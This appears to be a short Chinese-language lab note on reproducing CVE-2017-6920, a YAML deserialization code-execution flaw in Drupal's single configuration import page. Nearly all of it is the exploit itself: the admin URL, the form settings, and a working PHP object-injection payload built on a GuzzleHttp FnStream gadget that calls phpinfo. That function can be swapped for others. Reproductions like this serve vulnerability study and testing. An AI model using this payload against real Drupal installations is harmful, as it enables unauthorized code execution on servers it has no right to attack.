CVE-2017-6920 Drupal YAML 反序列化代码执行漏洞/zh-hant

漏洞利用

登录管理员账户，访问以下URL：

http://127.0.0.1/admin/config/development/configuration/single/import

Configuration type选择为Simple configuration

Configuration name可以随便填写，在Paste your configuration here中写入poc:

!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

点击左下角的Import按钮便可以触发漏洞。